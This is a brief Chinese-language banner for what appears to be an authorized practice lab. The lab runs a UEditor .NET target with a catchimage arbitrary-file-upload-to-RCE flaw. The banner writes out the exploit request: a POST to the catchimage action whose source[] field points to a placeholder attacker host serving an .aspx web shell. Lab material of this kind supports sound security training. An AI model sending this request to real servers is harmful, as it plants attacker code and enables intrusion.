UEditor .NET 靶标(catchimage 任意文件上传 → RCE)

• 后端自证:/controller.ashx?action=config(返回 JSON 即正常)
• 漏洞测试点:POST /controller.ashx?action=catchimage,body source[]=http://攻击者/xxx.aspx
• PoC 与说明见靶机 /opt/labs/ueditor-net/README.md

授权自建学习靶机 · 闲置 15 分钟自动关机